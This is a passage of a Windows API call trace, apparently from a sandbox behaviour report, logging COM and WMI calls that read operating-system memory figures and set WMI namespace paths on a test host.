IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0300.422] IUnknown:Release (This=0x1d35ae90) returned 0x2 [0300.422] SysStringLen (param_1=0x0) returned 0x0 [0300.422] IEnumWbemClassObject:Reset (This=0x1d35c4e0) returned 0x0 [0300.423] CoTaskMemAlloc (cb=0x8) returned 0x1b353af0 [0300.423] IEnumWbemClassObject:Next (in: This=0x1d35c4e0, lTimeout=-1, uCount=0x1, apObjects=0x1b353af0, puReturned=0x2ab9c60 | out: apObjects=0x1b353af0*=0x1b349b20, puReturned=0x2ab9c60*=0x1) returned 0x0 [0300.496] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349b20) returned 0x0 [0300.496] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0300.496] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0300.496] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0300.496] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0300.496] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0300.496] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0300.496] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349b28) returned 0x0 [0300.496] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0300.496] IUnknown:Release (This=0x1b349b28) returned 0x3 [0300.496] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0300.496] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0300.497] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0300.497] IUnknown:Release (This=0x1b349b20) returned 0x2 [0300.497] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0300.497] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0300.497] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349b20) returned 0x0 [0300.497] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0300.497] IUnknown:Release (This=0x1b349b20) returned 0x3 [0300.497] IUnknown:Release (This=0x1b349b20) returned 0x2 [0300.497] CoTaskMemFree (pv=0x1b353af0) [0300.497] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0300.497] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0300.497] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0300.497] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0300.497] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0300.497] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0300.497] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0300.497] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0300.498] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0300.498] IUnknown:Release (This=0x4b0108) returned 0x1 [0300.499] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d4970e0) returned 0x0 [0300.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d4970e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0300.499] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d4970e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3b80) returned 0x0 [0300.499] WbemDefPath:IUnknown:Release (This=0x1d4970e0) returned 0x0 [0300.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3b80) returned 0x0 [0300.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0300.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0300.499] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0300.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0300.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0300.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d497160) returned 0x0 [0300.500] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d497160, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0300.500] WbemDefPath:IUnknown:Release (This=0x1d497160) returned 0x3 [0300.500] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0300.500] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0300.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0300.500] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0300.500] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0300.500] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0300.500] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0300.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3b80) returned 0x0 [0300.500] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0300.500] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0300.500] WbemDefPath:IWbemPath:SetText (This=0x4f3b80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0300.500] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0300.500] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0300.500] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0300.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0300.501] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0300.501] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0300.501] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abaa28*=0, plFlavor=0x2abaa2c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2abaa28*=21, plFlavor=0x2abaa2c*=0) returned 0x0 [0300.501] SysStringByteLen (bstr="1395304") returned 0xe [0300.501] SysStringByteLen (bstr="1395304") returned 0xe [0300.501] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abaa28*=21, plFlavor=0x2abaa2c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2abaa28*=21, plFlavor=0x2abaa2c*=0) returned 0x0 [0300.501] SysStringByteLen (bstr="1395304") returned 0xe [0300.501] SysStringByteLen (bstr="1395304") returned 0xe [0300.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0300.501] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0300.501] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0300.501] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abac20*=0, plFlavor=0x2abac24*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2abac20*=21, plFlavor=0x2abac24*=0) returned 0x0 [0300.501] SysStringByteLen (bstr="2096620") returned 0xe [0300.501] SysStringByteLen (bstr="2096620") returned 0xe [0300.502] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abac20*=21, plFlavor=0x2abac24*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2abac20*=21, plFlavor=0x2abac24*=0) returned 0x0 [0300.502] SysStringByteLen (bstr="2096620") returned 0xe [0300.502] SysStringByteLen (bstr="2096620") returned 0xe [0300.502] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0300.502] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x1 [0300.502] IUnknown:Release (This=0x1d35c4e0) returned 0x0 Thread: id = 291 os_tid = 0x95c [0173.932] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0173.932] RoInitialize () returned 0x1 [0173.932] RoUninitialize () returned 0x0 [0174.133] CoGetObjectContext (in: riid=0x256e400*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d7ddda8 | out: ppv=0x1d7ddda8*=0x4b0108) returned 0x0 [0174.134] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d7ddd98 | out: pAptType=0x1d7ddd98*=1) returned 0x0 [0174.134] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x256e3e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d7ddda0 | out: ppvObject=0x1d7ddda0*=0x0) returned 0x80004002 [0174.134] IUnknown:Release (This=0x4b0108) returned 0x0 [0174.137] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d7dd198 | out: ppv=0x1d7dd198*=0x1d2fa380) returned 0x0 [0174.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2fa380, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d7dd280 | out: ppvObject=0x1d7dd280*=0x0) returned 0x80004002 [0174.138] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d2fa380, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd258 | out: ppvObject=0x1d7dd258*=0x1d2f10d0) returned 0x0 [0174.138] WbemDefPath:IUnknown:Release (This=0x1d2fa380) returned 0x0 [0174.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f10d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd000 | out: ppvObject=0x1d7dd000*=0x1d2f10d0) returned 0x0 [0174.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f10d0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d7dd090 | out: ppvObject=0x1d7dd090*=0x0) returned 0x80004002 [0174.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f10d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d7dc888 | out: ppvObject=0x1d7dc888*=0x0) returned 0x80004002 [0174.138] WbemDefPath:IUnknown:AddRef (This=0x1d2f10d0) returned 0x3 [0174.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f10d0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d7dc748 | out: ppvObject=0x1d7dc748*=0x0) returned 0x80004002 [0174.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f10d0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d7dc6d0 | out: ppvObject=0x1d7dc6d0*=0x0) returned 0x80004002 [0174.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f10d0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dc6c0 | out: ppvObject=0x1d7dc6c0*=0x1d2f9fe0) returned 0x0 [0174.139] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d2f9fe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d7dc6e8 | out: pCid=0x1d7dc6e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0174.139] WbemDefPath:IUnknown:Release (This=0x1d2f9fe0) returned 0x3 [0174.139] CoGetContextToken (in: pToken=0x1d7dc770 | out: pToken=0x1d7dc770) returned 0x0 [0174.141] CoGetContextToken (in: pToken=0x1d7dcbf0 | out: pToken=0x1d7dcbf0) returned 0x0 [0174.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f10d0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dccb0 | out: ppvObject=0x1d7dccb0*=0x0) returned 0x80004002 [0174.141] WbemDefPath:IUnknown:Release (This=0x1d2f10d0) returned 0x2 [0174.141] WbemDefPath:IUnknown:Release (This=0x1d2f10d0) returned 0x1 [0174.141] CoGetContextToken (in: pToken=0x1d7dd9e0 | out: pToken=0x1d7dd9e0) returned 0x0 [0174.141] CoGetContextToken (in: pToken=0x1d7dd8e0 | out: pToken=0x1d7dd8e0) returned 0x0 [0174.141] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2f10d0, riid=0x1d7dda40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d7dda10 | out: ppvObject=0x1d7dda10*=0x1d2f10d0) returned 0x0 [0174.142] WbemDefPath:IUnknown:AddRef (This=0x1d2f10d0) returned 0x3 [0174.142] WbemDefPath:IUnknown:Release (This=0x1d2f10d0) returned 0x2 [0174.142] WbemDefPath:IWbemPath:SetText (This=0x1d2f10d0, uMode=0x4, pszPath="root\\DEFAULT") returned 0x0 [0174.142] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f10d0, puCount=0x1d7dddc8 | out: puCount=0x1d7dddc8*=0x2) returned 0x0 [0174.142] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f10d0, lFlags=4, puBuffLength=0x1d7dddc0*=0x0, pszText=0x0 | out: puBuffLength=0x1d7dddc0*=0x11, pszText=0x0) returned 0x0 [0174.142] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f10d0, lFlags=4, puBuffLength=0x1d7dddc0*=0x11, pszText="0000000000000000" | out: puBuffLength=0x1d7dddc0*=0x11, pszText="\\\\.\\root\\DEFAULT") returned 0x0 [0174.142] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f10d0, puCount=0x1d7dddd8 | out: puCount=0x1d7dddd8*=0x2) returned 0x0 [0174.142] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f10d0, lFlags=4, puBuffLength=0x1d7dddd0*=0x0, pszText=0x0 | out: puBuffLength=0x1d7dddd0*=0x11, pszText=0x0) returned 0x0 [0174.142] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f10d0, lFlags=4, puBuffLength=0x1d7dddd0*=0x11, pszText="0000000000000000" | out: puBuffLength=0x1d7dddd0*=0x11, pszText="\\\\.\\root\\DEFAULT") returned 0x0 [0174.142] CoGetObjectContext (in: riid=0x256e400*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d7ddd58 | out: ppv=0x1d7ddd58*=0x4b0108) returned 0x0 [0174.143] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d7ddd48 | out: pAptType=0x1d7ddd48*=1) returned 0x0 [0174.143] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x256e3e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d7ddd50 | out: ppvObject=0x1d7ddd50*=0x0) returned 0x80004002 [0174.143] IUnknown:Release (This=0x4b0108) returned 0x0 [0174.143] CoGetClassObject (in: 